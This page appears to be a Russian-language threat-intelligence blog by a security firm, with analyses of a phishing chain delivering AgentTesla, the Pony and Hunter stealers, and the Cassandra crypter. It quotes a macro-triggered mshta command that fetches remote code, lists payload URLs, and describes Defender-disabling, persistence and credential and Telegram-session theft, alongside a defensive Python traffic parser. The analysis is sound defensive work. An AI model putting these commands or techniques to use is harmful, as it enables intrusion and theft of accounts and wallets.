В самом фишинговым письме его можно хорошенько рассмотреть на скриншоте ниже отправитель представляется подрядчиком вуза и предлагает утвердить бюджет. Среди получателей сообщения финансовые, промышленные и государственные организации России.
Хотя текст написан на русском языке, грубые орфографические, грамматические и стилистические ошибки наводят на мысль о том, что атакующие не носители языка. И, скорее всего, они использовали для составления писем машинный перевод.


В письме два идентичных вложения с разными расширениями:


Заражение


Исходный файл презентация PowerPoint в формате ppt. Дата последнего редактирования 5 ноября, а автором указан некто Masterofyourfather.


В документе три небольших VBA-макроса, которые приведут к выполнению команды:

mshta http://%748237%728748@j[.]mp/aksnkwsfvyudnddwid


Сокращатель ссылок j.mp перенаправит на ресурс ninjaminjatumhmmkk.blogspot[.]com/p/8a9.html.

При открытии страницы, на первый взгляд, может показаться, что автор еще не разместил полезную нагрузку и дальнейший анализ невозможен.


Однако наша система Group- IB
Threat Hunting Framework
и ее модуль Polygon, позволяющий осуществлять поведенческий анализ файлов, извлекаемых из электронных писем, опровергла это предположение, продемонстрировав, как развивается атака дальше.


Если заглянуть в исходный код страницы становится ясна причина такой скрытности. Ресурс Blogspot позволяет вставлять script-теги в теле блога. А поскольку все современные браузеры по умолчанию игнорируют скрипты на VBscript, при обычном открытии страницы ничего не происходит.


Базовый скрипт


Базовый скрипт совмещает три задачи:

  1. Закрепление в системе
  2. Обход систем защиты
  3. Загрузка основного модуля

Рассмотрим каждый пункт в отдельности.

Закрепление в системе


Для персистентности ВПО использует механизм безфайлового закрепления. Для этого в реестре в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ создаются ключи со значениями mshta vbscript:Execute({Тело скрипта VBS}). Это позволяет хранить полезную нагрузку целиком в реестре, при этом реализуя автозапуск.


Также реализована альтернативная возможность автозапуска через отложенную задачу (строчка 21 на скриншоте сверху). По указанным ссылкам расположены страницы Blogspot с полезной нагрузкой, размещаемой аналогично исходной. На момент анализа ни по одной ссылке вредоносного кода не оказалось.


Ссылки:

  • zoomba619.blogspot[.]com/p/5e.html
  • dodumdum6.blogspot[.]com/p/8a9.html
  • milltu99.blogspot[.]com/p/4w5.html
  • potatokapoli.blogspot[.]com/p/5e.html

Загрузчик основного модуля закрепляется в ветке HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ в ключе sexformoneyforsex, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\juggga.


Модуль обхода встроенных систем защиты Windows закрепляется аналогично по ключу Defeduckgotfucked, который приводит к исполнению powershell-скрипта, запускающего сценарий, размещенный по ключу HKCU\Software\phuttalylo.


Обход систем защиты


Модуль обхода встроенных систем защиты Windows хранится в реестре в обфусцированном виде. Полезная загрузка записана строкой в виде ASCII-кодов, разделенных символом -. После декодирования нас ждет еще один простой скрипт, который содержит отраженную Base64-строку, в которой символ 0 заменен на ..


В итоге мы получим небольшое .NET-приложение.


Основной класс CMSTPBypass выдает механизм работы файла.

CMSTP это приложение, связанное с установщиком профиля Microsoft Connection Manager. Оно принимает файлы INF, которые могут быть снабжены вредоносными командами для выполнения произвольного кода в форме скриптлетов (SCT) и DLL. Это доверенное приложение Microsoft.

ВПО сохраняет в папку %Temp% файл inf с произвольным именем и следующим содержимым:


Строка REPLACE_COMMAND_LINE будет заменена на команду запуска vbs-скрипта из папки %Temp%, который ВПО извлечет из своей секции ресурсов.

В коде можно заметить упоминание NyanCat, автора известных крипторов и data stealer'ов. В его официальном репозитории на GitHub мы нашли исходный код модуля. Видимо, его позаимствовали атакующие.


Запуск осуществляется через c:\windows\system32\cmstp.exe, после чего ВПО начинает отслеживать появление окна cmstp, чтобы послать ему нажатие клавиши ENTER.
Запущенный VBS-скрипт фактически снижает встроенную защиту Windows до нуля:

  1. Если скрипт запущен не с правами администратора он будет перезапущен с повышением привилегий.
  2. Для Windows Defender применяются следующие настройки:

  3. В исключения Windows Defender целиком добавляются диски C:\ и D:\, а также процессы Msbuild.exe, Calc.exe, powershell.exe, wscript.exe, mshta.exe, cmd.exe.
  4. Отключается UAC.
  5. Для пакетов MS Office версий от 11.0 до 16.0 отключаются все настройки безопасности.

Загрузка основного модуля


Загрузчик размещается в реестре по ключу HKCU\Software\juggga. Хотя ВПО предусматривает его автозапуск после перезагрузки, он будет также исполнен во время работы основного скрипта. Для этого запустится оболочка PowerShell в скрытом окне:


Механизм обфускации загрузчика аналогичен рассмотренному в предыдущем разделе:



Загрузка осуществляется по ссылке paste[.]ee/r/ZonQw:


После декодирования получаем исполняемый файл, который представляет собой обновленную версию уже знакомого нам AgentTesla.

Agent Tesla это модульное программное обеспечение для шпионажа, распространяемое по модели malware-as-a-service под видом легального кейлоггер-продукта. Agent Tesla способен извлекать и передавать на сервер злоумышленникам учетные данные пользователя из браузеров, почтовых клиентов и клиентов FTP, регистрировать данные буфера обмена, захватывать экран устройства.


Заключение


Мы рассмотрели любопытный протектор, вобравший в себя большое количество различных технологий по противодействию существующим системам защиты для конечных устройств. Если в организации нет современных систем, способных полностью автоматизировано останавливать целевые атаки на организацию, и детонировать принудительно вскрывать подозрительные почтовые рассылки в изолированной среде, то рассмотренное ВПО позволит протащить на машину и закрепить в системе любую полезную нагрузку, даже такой хорошо известный и выявляемый большинством антивирусов data stealer, как AgentTesla.
Подробнее..

Старый конь борозды не испортит как стилер Pony крадет данные и где их потом искать

28.01.2021 12:17:06 | Автор: admin

Если помните, недавно у нас выходила статья про молодой, но уже подающий надежды data stealer Loki. Тогда мы подробно рассмотрели этот экземпляр (версия 1.8), получили представление о работе бота и освоили инструмент, облегчающий реагирование на события, связанные с этим ВПО. Для более полного понимания ситуации, давайте разберем еще одно шпионское ПО и сравним исследованных ботов. Сегодня мы обратим внимание на Pony более старый, но не менее популярный образец data stealerа. Никита Карпов, аналитик CERT-GIB, расскажет, как бот проникает на компьютер жертвы и как вычислить похищенные данные, когда заражение уже произошло.

Разбор функциональности бота

Впервые Pony был замечен в 2011 году и все еще продолжает использоваться. Как и в ситуации с Loki, популярность этого ВПО обусловлена тем, что несколько версий бота вместе с панелью администратора можно без проблем найти в сети. Например, здесь.

Экземпляр Pony, который мы будем изучать, защищен тем же самым упаковщиком, что и Loki, рассмотренный в предыдущей статье. По этой причине не будем еще раз останавливаться на процессе получения чистого ВПО и перейдем сразу к более интересным моментам. Единственное, что следует упомянуть перед разбором ВПО, ссылка на сервер, по которой мы определяем нужный PE-файл, оканчивается на gate.php, и это один из индикаторов Pony.

При исследовании дизассемблированного кода Pony обратим внимание на участок, содержащий главные функции. Интерес представляют две из них Initialize_Application и CnC_Func (названия функций переименованы в соответствии с их содержанием).

Ниже представлена функция Initialize_Application. Она отвечает за инициализацию необходимых элементов (библиотеки, привилегии и т.д.) и за похищение данных. В процессе работы ВПО несколько раз использует значение 7227 пароль к данному экземпляру бота. В Initialize_Application это значение используется для шифрования буфера, содержащего данные приложений, алгоритмом RC4.

Далее перейдем к декомпилированному коду функции CnC_Func и разберем ее алгоритм:

  1. Буфер, полученный в результате работы функции Initialize_Application, передается в функцию BuildPacket, где собирается пакет данных для передачи на сервер.

  2. По каждому URI из списка бот отправляет данные и ожидает подтверждения со стороны сервера. Если сервер не ответил 3 раза бот идет дальше.

  3. После завершения первого списка CnC бот пытается загрузить и запустить дополнительное ВПО.

В общем доступе находится готовый билдер, который подтверждает функционал, полученный в процессе статического анализа декомпилированного кода. Пользователю предлагается ввести список URI, куда будут выгружаться похищенные данные, и список, откуда будет выгружаться дополнительное ВПО. Также пользователь может изменить пароль бота и имя дополнительного ВПО.

Pony атакует более сотни приложений, и, хотя у него есть функционал загрузчика, в основном Pony используется именно для похищения пользовательских данных. В таблице ниже перечислены все приложения, из которых бот может похитить данные.

ID

Приложение

ID

Приложение

ID

Приложение

0

System Info

45

FTPGetter

90

Becky!

1

FAR Manager

46

ALFTP

91

Pocomail

2

Total Commander

47

Internet Explorer

92

IncrediMail

3

WS_FTP

48

Dreamweaver

93

The Bat!

4

CuteFTP

49

DeluxeFTP

94

Outlook

5

FlashFXP

50

Google Chrome

95

Thunderbird

6

FileZilla

51

Chromium / SRWare Iron

96

FastTrackFTP

7

FTP Commander

52

ChromePlus

97

Bitcoin

8

BulletProof FTP

53

Bromium (Yandex Chrome)

98

Electrum

9

SmartFTP

54

Nichrome

99

MultiBit

10

TurboFTP

55

Comodo Dragon

100

FTP Disk

11

FFFTP

56

RockMelt

101

Litecoin

12

CoffeeCup FTP / Sitemapper

57

K-Meleon

102

Namecoin

13

CoreFTP

58

Epic

103

Terracoin

14

FTP Explorer

59

Staff-FTP

104

Bitcoin Armory

15

Frigate3 FTP

60

AceFTP

105

PPCoin (Peercoin)

16

SecureFX

61

Global Downloader

106

Primecoin

17

UltraFXP

62

FreshFTP

107

Feathercoin

18

FTPRush

63

BlazeFTP

108

NovaCoin

19

WebSitePublisher

64

NETFile

109

Freicoin

20

BitKinex

65

GoFTP

110

Devcoin

21

ExpanDrive

66

3D-FTP

111

Frankocoin

22

ClassicFTP

67

Easy FTP

112

ProtoShares

23

Fling

68

Xftp

113

MegaCoin

24

SoftX

69

RDP

114

Quarkcoin

25

Directory Opus

70

FTP Now

115

Worldcoin

26

FreeFTP / DirectFTP

71

Robo-FTP

116

Infinitecoin

27

LeapFTP

72

Certificate

117

Ixcoin

28

WinSCP

73

LinasFTP

118

Anoncoin

29

32bit FTP

74

Cyberduck

119

BBQcoin

30

NetDrive

75

Putty

120

Digitalcoin

31

WebDrive

76

Notepad++

121

Mincoin

32

FTP Control

77

CoffeeCup Visual Site Designer

122

Goldcoin

33

Opera

78

FTPShell

123

Yacoin

34

WiseFTP

79

FTPInfo

124

Zetacoin

35

FTP Voyager

80

NexusFile

125

Fastcoin

36

Firefox

81

FastStone Browser

126

I0coin

37

FireFTP

82

CoolNovo

127

Tagcoin

38

SeaMonkey

83

WinZip

128

Bytecoin

39

Flock

84

Yandex.Internet / Ya.Browser

129

Florincoin

40

Mozilla

85

MyFTP

130

Phoenixcoin

41

LeechFTP

86

sherrod FTP

131

Luckycoin

42

Odin Secure FTP Expert

87

NovaFTP

132

Craftcoin

43

WinFTP

88

Windows Mail

133

Junkcoin

44

FTP Surfer

89

Windows Live Mail

Взаимодействие с сервером

Рассмотрим подробнее сетевое взаимодействие Pony. Как мы уже говорили, Pony сначала выгружает похищенные данные приложений на удаленный сервер, и индикатором такой коммуникации служит gate.php. После этого Pony просматривает второй список ссылок, откуда он пытается загрузить дополнительное ВПО на зараженный компьютер.

Для подтверждения того, что сервер получил и прочитал данные, бот должен получить в ответ строку STATUS-IMPORT-OK, иначе бот считает, что сервер не получил данные.

Данные, передаваемые на сервер, надежно защищаются шифрованием и компрессией. Защиту данных определяет заголовок, который идет перед ними. Стандартная защита пакета выглядит так:

  1. Данные в чистом виде с заголовком PWDFILE0.

  2. Сжатые данные с заголовком PKDFILE0. Для сжатия используется библиотека aPLib, работа которой основана на алгоритме компрессии LZW.

  3. Зашифрованные данные с заголовком CRYPTED0 и ключом в виде пароля, например, 7227 или PA$$. Для шифрования используется алгоритм RC4.

  4. Зашифрованные алгоритмом RC4 данные, ключ указан в первых 4 байтах.

Размер

Значение

Описание

0x4

rc_4key

Ключ для верхнего уровня шифрования

0x12

REPORT_HEADER

(PWDFILE0/ PKDFILE0/ CRYPTED0)

Заголовок отчета о похищенных данных

(normal/packed/crypted)

8 байт заголовок, и 4 байта контрольная сумма CRC32

0x4

Версия отчета

Версия отчета о похищенных данных

(константное значение 01.0)

0x4

Размер модуля

Заголовок модуля, присутствует у каждого модуля

0x8

ID заголовка модуля

(chr(2).chr(0)."MODU".chr(1).chr(1))

2 байта, ключевое слово MODU, 1 байт, 1 байт

0x2

ID модуля

0x2

Версия модуля

-

Название системы пользователя

Модуль module_systeminfo (module id = 0x00000000)

Содержит информацию о системе пользователя

0x2

Система x32 или x64

-

Страна пользователя

-

Язык системы пользователя

0x2

Является ли пользователь администратором

-

Значение MachineGuid из приложения WinRAR

-

Список модулей всех приложений

По аналогии с модулем module_systeminfo записаны данные всех приложений

Парсер сетевых коммуникаций

Как и для Loki, напишем парсер на Python, используя следующие библиотеки:

  1. Dpkt для поиска пакетов, принадлежащих Pony, и работы с ними.

  2. aPLib для декомпрессии данных.

  3. Hexdump для представления данных пакета в хексе.

  4. JSON для записи найденной информации в удобном виде.

Рассмотрим основные части алгоритма работы скрипта:

for ts, buf in pcap:    eth = dpkt.ethernet.Ethernet(buf)    if not isinstance(eth.data, dpkt.ip.IP):        ip = dpkt.ip.IP(buf)    else:        ip = eth.data    if isinstance(ip.data, dpkt.tcp.TCP):        tcp = ip.data        try:            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST                if str(tcp.data).find('POST') != -1:                    http += 1                    httpheader = tcp.data                    continue                else:                    if httpheader != "":                        pkt = httpheader + tcp.data                        req += 1                        request = dpkt.http.Request(pkt)                        parsed_payload['Network'].update({'Request method': request.method})                        uri = request.headers['host'] + request.uri                        parsed_payload['Network'].update({'CnC': uri})                        parsed_payload['Network'].update({'User-agent': request.headers['user-agent']})                        if uri.find("gate.php") != -1:                            parsed_payload['Network'].update({'Traffic Purpose': "Exfiltrate Stolen Data"})                            parse(tcp.data, debug)                        elif uri.find(".exe") != -1:                            parsed_payload['Network'].update({'Traffic Purpose': "Download additional malware"})                        print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))                        parsed_payload['Network'].clear()                        parsed_payload['Malware Artifacts/IOCs'].clear()                        parsed_payload['Compromised Host/User Data'].clear()                        parsed_payload['Applications'].clear()                        print("----------------------")            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE                resp += 1                response = dpkt.http.Response(tcp.data)                if response.body.find(b'STATUS-IMPORT-OK') != -1:                    AdMalw = True                    print('Data imported successfully')                else:                    print('C2 did not receive data')                print("----------------------")        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):            continueprint("Requests: " + str(req))print("Responces: " + str(resp))

Поиск пакетов, связанных с Pony, аналогичен поиску пакетов Loki. Ищем все HTTP-пакеты. Парсим запросы, в которых находится информация бота. Остальные запросы фиксируются, но данные в них не обрабатываются. Если в ответ на запрос получена строка STATUS-IMPORY-OK отмечаем успешную выгрузку данных. Во всех других случаях считаем, что сервер не получил данные. Если после выгрузки данных найдены HTTP-запросы с URI, оканчивающимся на .exe отмечаем загрузку дополнительного ВПО.

Рассмотрим функцию, отвечающую за снятие всей защиты с данных и импорт модулей:

def process_report_data(data, debug):    index = 0    if len(str(data)) == 0:        return False    elif len(str(data)) < 12:        return False    elif len(str(data)) > REPORT_LEN_LIMIT:        return False    elif len(str(data)) == 12:        return True    if verify_new_file_header(data):        rand_decrypt(data)    report_id = read_strlen(data, index, 8)    index += 8    if report_id == REPORT_CRYPTED_HEADER:        parsed_payload['Malware Artifacts/IOCs'].update({'Crypted': report_id.decode('utf-8')})        decrypted_data = rc4DecryptText(report_password, data[index:len(str(data))])        data = decrypted_data        index = 0        report_id = read_strlen(data, index, 8)        index += 8    if report_id == REPORT_PACKED_HEADER:        parsed_payload['Malware Artifacts/IOCs'].update({'Packed': report_id.decode('utf-8')})        unpacked_len = read_dword(data, index)        index += 4        leng = read_dword(data, index)        index += 4        if leng < 0:            return False        if not leng:            return ""        if index + leng > len(str(data)):            return False        packed_data = data[index:index + leng]        index += leng        if unpacked_len > REPORT_LEN_LIMIT or len(str(packed_data)) > REPORT_LEN_LIMIT:            return False        if not len(str(packed_data)):            return False        if len(str(packed_data)):            data = unpack_stream(packed_data, unpacked_len)        if not len(str(data)):            return False        if len(str(data)) > REPORT_LEN_LIMIT:            return False        index = 0        report_id = read_strlen(data, index, 8)        index += 8    if report_id != REPORT_HEADER:        print("No header")        return False    version_id = read_strlen(data, index, 3)    index += 8    if version_id != REPORT_VERSION:        return False    parsed_payload['Malware Artifacts/IOCs'].update({'Data version': version_id.decode('utf-8')})    hexdump.hexdump(data)    report_version_id = version_id    parsed_payload['Applications'].update({'Quantity': 0})    while index < len(data):        index = import_module(data, index, debug)    return data

После снятия обязательного шифрования, определяем метод снятия следующего уровня защиты в зависимости от заголовка. Если присутствует дополнительное шифрование с заголовком CRYPTED0 скрипт пытается подставить стандартный ключ, и при несоответствия ключа запрашивает файл ВПО, в котором находит используемый в этом боте пароль. Если заголовок данных PWDFILE0 начинаем импорт модулей приложений.

Для расшифровки мы использовали алгоритм RC4:

def rc4DecryptHex(key, pt):    if key == '':        return pt    s = list(range(256))    j = 0    for i in range(256):        j = (j + s[i] + key[i % len(key)]) % 256        s[i], s[j] = s[j], s[i]    i = j = 0    ct = []    for char in pt:        i = (i + 1) % 256        j = (j + s[i]) % 256        s[i], s[j] = s[j], s[i]        ct.append(chr(char ^ s[(s[i] + s[j]) % 256]))    decrypted_text = ''.join(ct)    data = decrypted_text.encode('raw_unicode_escape')    return data

Результат работы парсера представлен ниже. Парсер успешно снял шифрование, произвел декомпрессию и нашел похищенные данные. Следует отметить, что у каждого модуля есть несколько типов представления данных, в зависимости от найденной ботом информации. В нашем примере бот похитил данные Outlook и записал их с типом 7. На первый запрос сервер ответил боту, а остальные коммуникации не несли полезной информации.

В заключение давайте сравним исследованные data stealer'ы Pony и Loki и подведем итог. Список атакуемых приложений и у Pony, и у Loki примерно одинаков, но функционал Loki, особенно в новых версиях, шире, чем у Pony. Pony защищает все передаваемые данные в несколько уровней, что не дает определить без специального инструмента, какие именно данные похитил бот. Loki, в свою очередь, передает все данные в открытом виде, но без знания структуры запросов разобрать эти данные тоже довольно сложно.

Надеемся, эти две статьи помогли разобраться, какую опасность несут данные data stealerы и как можно упростить реагирование на инциденты с помощью реализованных нами инструментов.

Подробнее..

Особенности киберохоты как Hunter Stealer пытался угнать Telegram-канал База

08.02.2021 16:12:50 | Автор: admin

С ноября 2020 года участились случаи похищения аккаунтов у популярных Telegram-каналов. Недавно эксперты CERT-GIB установили тип вредоносной программы, с помощью которой хакеры пытались угнать учетку у Никиты Могутина, сооснователяпопулярного Telegram-канала База (320 тысяч подписчиков). В той атаке использовался стилер Hunter, который Могутину прислали под видом рекламы образовательной платформы. Сам стилер нацелен на устройства под управлением ОС Windows, поэтому атакующие так настойчиво просили журналиста открыть архив на рабочем компьютере, а не с iPhone, чего он и правильно делать не стал. Hunter "умеет" автоматически собирать учетные записи на зараженном компьютере, затем отсылает их злоумышленнику и раньше его, к примеру, часто использовали для кражи учетных данных у игроков GTA. Никита Карпов, младший вирусный аналитик CERT-GIB, провел анализ вредоносного файла и рассказал об особенностях киберохоты на популярные Telegram-каналы .

Кейс Базы

Стилер написан на C++ и рассылается владельцам каналов под видом предложения рекламы. Например, экземпляр, разбираемый в этой статье, маскировался под рекламу от GeekBrains.

Данный стилер продается на нескольких форумах и активно рекламируется самим продавцом.

Функционал

Функционал стилера реализован в методах, представленных ниже:

В процессе работы каждого метода похищенные данные записываются во временный файл со случайными именем и расширением:

Полученные временные файлы помещаются в архив внутри памяти процесса и затем удаляются.

Discord

Для похищения сессии Discord стилер ищет папку \discord\Local Storage\leveldb\ и копирует содержимое каждого файла во временный файл.

В архиве файлы записываются в папку с названием приложения и сохраняют изначальное имя файла Application\File.name.

Для примера была создана папка \discord\Local Storage\leveldb\ с файлом T.token.

Скриншот рабочего пространства

Для получения длины и ширины экрана используется win API GetSystemMetrics(). GetDC(0) используется, чтобы получить handle всего экрана, и с помощью CreateCompatibleBitmap() создается bitmap-объект, который сохраняется в файл Desktop.png.

Сбор файлов

Стилер получает путь USERPROFILE = C:\Users\USERNAME и собирает все файлы с расширениями из списка:

  • .txt

  • .rdp

  • .docx

  • .doc

  • .cpp

  • .h

  • .hpp

  • .lua (скрипты для GTA SAMP)

Steam

Для стилера интересны файлы с расширением .ssfn в папке Software\Valve\Steam\ssfn и все файлы из папки Steam/config/.

Для обхода защиты Steam Guard и доступа к аккаунту необходимо, чтобы пароль был сохранен в Steam-клиенте (галочка Запомнить пароль). Также нужны файлы с компьютера жертвы, которые собирает стилер:

  • файл с расширением .ssfn

  • config.vdf

  • loginusers.vdf

  • SteamAppData.vdf

Telegram

Стилер проверяет наличие Telegram среди процессов и получает расположение исполняемого файла "Telegram.exe". Далее программа проверяет, есть ли passcode в папке key_datas, и, если он установлен стилер начинает похищать данные других приложений. Если же Telegram не защищен passcodeом, то стилер похищает из папки \tdata\ файл, начинающийся с D877F783D5D3EF8C (в конце может быть любой символ), и файл, находящийся в \tdata\ D877F783D5D3EF8C и начинающийся с map (в конце может быть любой символ). Этих двух файлов будет достаточно для похищения сессии Telegram.

GTA SAMP

Данный стилер изначально ориентирован на игроков в GTA SAMP и похищение их аккаунтов. Об этом говорят файлы, собираемые с компьютера жертвы (скрипты, которые могут относиться к игре) и файлы, собираемые из \Documents\GTA San Andreas User Files\SAMP\. Для стилера интересны следующие файлы:

  • USERDATA.DAT хранит информацию о серверах, записывается в SAMP\servers.fav

  • chatlog.txt записывается в "SAMP\chatlog.txt"

Браузеры

Учетные данные пользователей браузера Mozilla Firefox стилер похищает из файла logins.json, который ищет в \Mozilla\Firefox\Profiles. Из браузеров Google Chrome и Chromium собираются:

  • данные о местоположении

  • учетные данные от аккаунтов на ресурсах

  • данные для автозаполнения форм

  • данные карт

  • cookies

  • аккаунты Facebook

Данные криптокошельков

Для всех криптокошельков алгоритм одинаковый:

  • Расшифровывается путь, связанный с кошельком:

    • Atomic \Atomic\Local Storage\leveldb\

    • Electrum \Electrum\wallets

    • Ethereum \Ethereum\keystore

    • Zcash \Zcash\

    • Exodus \Exodus\exodus.wallet\

  • Содержимое всех файлов переносится во временные файлы и помещается в архиве в папку с именем кошелька:

Бот нашел тестовый файл в папке.

И переместил его в архив.

Отчет

После сбора всех пользовательских данных создается файл "readme.txt", содержащий информацию о похищенных данных.

Для всех приложений в отчете отмечается, получилось ли похитить данные.

Но для криптокошельков всегда отмечается -. Это может свидетельствовать о том, что похищенные данные кошельков не отправляются клиенту, а остаются у владельца сервера.

Все собранные файлы помещаются в архив и отправляются на CnC.

Взаимодействие с CnC

Адрес командного центра также находится в зашифрованных строках:

Сетевое взаимодействие происходит через IPv6 или, если он недоступен через IPv4 по протоколу TCP. Для отправки архива с похищенными данными открывается сокет с портом 0x8AE = 2222.

В виде админ-панели выступает Telegram-бот, который находится на VDS (Virtual Dedicated Server). Похищенные данные изначально попадают к владельцу сервера, а затем отправляются клиенту через Telegram-бота.

В дампе трафика, полученного из отчета модуля THF Polygon, видим передачу архива.

Шифрование

Алгоритм шифрования, используемый для защиты строк:

  • На вход функции дешифровки подаются три параметра:

    • XOR-константа для данного слова

    • константа для инициализации KSA (Key Scheduling Algorithm)

    • длина строки

  • Для генерации ключа используются два последовательных KSA. Первый ключ генерируется по длине нужной строки из константы и ключа размером 32 байта, который генерируется алгоритмом MurMurHash2 по 4 байта. Второй получает результат работы первого и еще один сгенерированный через MurMurHash2 ключ.

  • Для каждого символа ключа, полученного из второго KSA, выполняется операция XOR с константным значением.

Реализация алгоритма MurMurHash2Реализация алгоритма MurMurHash2

Противодействие анализу

Для противодействия анализу используются следующие методы:

  • шифрование строк, разобранное выше

  • определение наличия отладки через win API-вызов IsDebuggerPresent()

Продавец и разработчик

В объявлениях на форумах продавец Hunter указывает свой контакт в Telegram как @NoFex228. К этому аккаунту привязан профиль Александра ХХ. во ВКонтакте, где обнаружено несколько постов, связанных с различными стилерами и продажей аккаунтов из GTA SAMP. Telegram-аккаунт разработчика указан во всех отчетах бота как @karelli. К нему привязан телефонный номер, связанный со страницей "ВКонтакте" некоего Анатолия ХХ.

Заключение

Хотя Hunter Stealer не отличается ни обширным функционалом, ни серьезным противодействием анализу, вредоносное ПО, похищающее пользовательские данные, способно нанести серьезный ущерб. Опасность такого ВПО в скорости выполнения задач и простом доступе к ценной информации.

Если у владельца Telegram-канала не включен код-пароль приложения, то злоумышленникам не составит труда восстановить сессию и сменить владельца канала. Так что вывод прост: не открывать подозрительные сообщения, архивы и ссылки и не пользоваться ОС, где стилеры чувствуют себя как дома.

Что делать, если заражение уже произошло?

Пока компьютер инфицирован, устанавливать код-пароль нет смысла, так как вредоносная программа может обладать возможностями клавиатурного шпиона. К работе на этом ПК можно возвращаться только после нейтрализации вредоносного кода.

Для администратора необходимо оперативно завершить активный сеанс на инфицированном компьютере и с помощью другого устройства (например, смартфона) сменить облачный пароль в настройках конфиденциальности, установить код-пароль на всех других доверенных устройствах.

Подробнее..

Cassandra криптор, который любит держаться в тени

16.06.2021 18:22:08 | Автор: admin

Ни один атакующий не хочет, чтобы его инструменты обнаружили и раскрыли раньше времени. Поэтому, как правило, в чистом виде никто вредоносные программы не распространяет. Например, пользователю прилетело фишинговое письмо от имени известной транспортной компании и просят проверить документы во вложении. Подобные письма достаточно часто являются началом атаки, так было и в этом раз. Внутри архива находился исполняемый файл Cassandra Crypter популярный криптор, полезной нагрузкой которого могут выступать различные семейства вредоносного программного обеспечения. Алексей Чехов, аналитик CERT-GIB, рассказывает, как Cassandra проникает на компьютер жертвы и приводит с собой других незваных гостей.

Работу Cassandra можно условно разделить на два этапа. На первой стадии загружается вспомогательная библиотека, которая извлекает основную часть криптора из исходного файла. На второй криптор раскрывает весь свой потенциал.

Первая стадия

Cassandra маскируется под легитимное приложение. В точке входа располагается стандартная для приложений Windows Forms функция запуска.

Конструктор формы также выглядит стандартным, ничем не отличающимся от легитимного приложения.

При детальном анализе был обнаружен вызов функции aaa(), которая содержит вредоносный функционал. Ее вызов приводит к расшифровке и подгрузке вспомогательной dll.

Для расшифровки используется алгоритм AES.

После подгрузки вспомогательной dll вызовется одна из её функций, в результате чего будет получена и запущена вторая стадия криптора.

Вторая стадия содержится в изображении, в зашифрованном виде, в исходной сборке.

Для расшифровки используется операция XOR, ключом для расшифровки являются первые 16 байтов исходного изображения.

В первой стадии злоумышленники практически не используют средства противодействия анализу, отладки и так далее, за исключением обфускации дополнительной библиотеки.

Вторая стадия

Вторая стадия представляет собой исполняемый файл .Net Framework.

Конфигурационный файл

Ключ, который используется на первой стадии расшифровки пейлоада

"baAsaBBxDT"

Поле, содержащее пейлоад в расшифрованном виде

Поле содержащее сырой (не разобранный) конфиг

"0||0||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v2||0||3046||0||0||||||0||0||0||||"

Поле, содержащее подготовленный конфиг

Поле, содержащее флаг типа инжекта

0

Поле, содержащее флаг закрепления в системе

0

Поле, содержащее имя файла после закрепления в системе

"YhwcrydjrNS"

Поле, содержащее название мьютекса

"ljrSLVyCApWxcUE"

Неиспользуемое поле

0

Поле, содержащее информацию об использовании загрузчика

0

Поле, содержащее информацию о пути до загруженного файла

0

Поле, содержащее ссылку на пейлоад

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск строк в пути файла

0

Неиспользуемое поле

0

Неиспользуемое поле

0

Поле, содержащее информацию об использовании Fake MessageBox

0

Текст заголовка Fake MessageBox

0

Текст Fake MessageBox

0

Информация о кнопках Fake MessageBox

0

Информация об иконке Fake MessageBox

0

Количество секунд, в течение которых приложение будет бездействовать

0

Функция, осуществляющая разбор конфигурационного файлаФункция, осуществляющая разбор конфигурационного файла

Полезная нагрузка

Полезная нагрузка содержится в крипторе в зашифрованном виде. Расшифровка проходит в два этапа:

1. В цикле осуществляется побайтовый XOR шифрограммы, ключа и значения операции XOR от последнего элемента байта шифрограммы и 112. Полученные значения сохраняются в созданный массив. Ключ для первой стадии содержится в конфигурационном файле.

2. Осуществляется дешифрование, аналогичное тому, что было на первой стадии: используется операция XOR, в качестве ключа используются первые 16 байтов массива, полученного на первом этапе.

Закрепление в системе

Закрепление в системе осуществляется через создание отложенной задачи. Файл копируется в директорию AppData//{имя файла, заданное в конфиге}+.exe. После этого исходный файл удаляется и создается задача на выполнение.

Anti-VM

В функции осуществляется поиск виртуальных видеоадаптеров и специфических ключей реестра, свойственных для виртуальных машин.

Anti-Sandbox

Реализованы три функции противодействия песочнице:

  • Детект изолированной среды. Функция проверяет путь до исполняемого файла и ищет в нём специфические строки, таких как \\VIRUS, SAMPLE, SANDBOX и т.д. Также осуществляется поиск окна, свойственного WindowsJail, и библиотеки SbieDll.dll, загруженной в процесс.

  • Попытка обхода песочницы по таймауту. Реализована при помощи стандартной процедуры Sleep.

  • Попытка обхода песочницы по user activity. Реализована при помощи показа Fake MessageBox.

Защита от повторного запуска

Реализована путем создания мьютекса с заданным именем в системе.

Функционал

Downloader

Реализована функция загрузки пейлоада из сети.

Запуск полезной нагрузки

Содержит два варианта запуска пейлоада:

1. Загрузка в память при помощи функций .Net Framework.

2. Инжект полезной нагрузки в запущенный процесс. Есть возможность выбора из нескольких процессов.

На данный момент Cassandra достаточно распространенный тип крипторов. Как правило, злоумышленники используют его в массовых рассылках, чтобы незаметно запускать на машине пользователя вредоносное ПО. Cassandra позволяет запускать даже хорошо изученные семейства ВПО.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru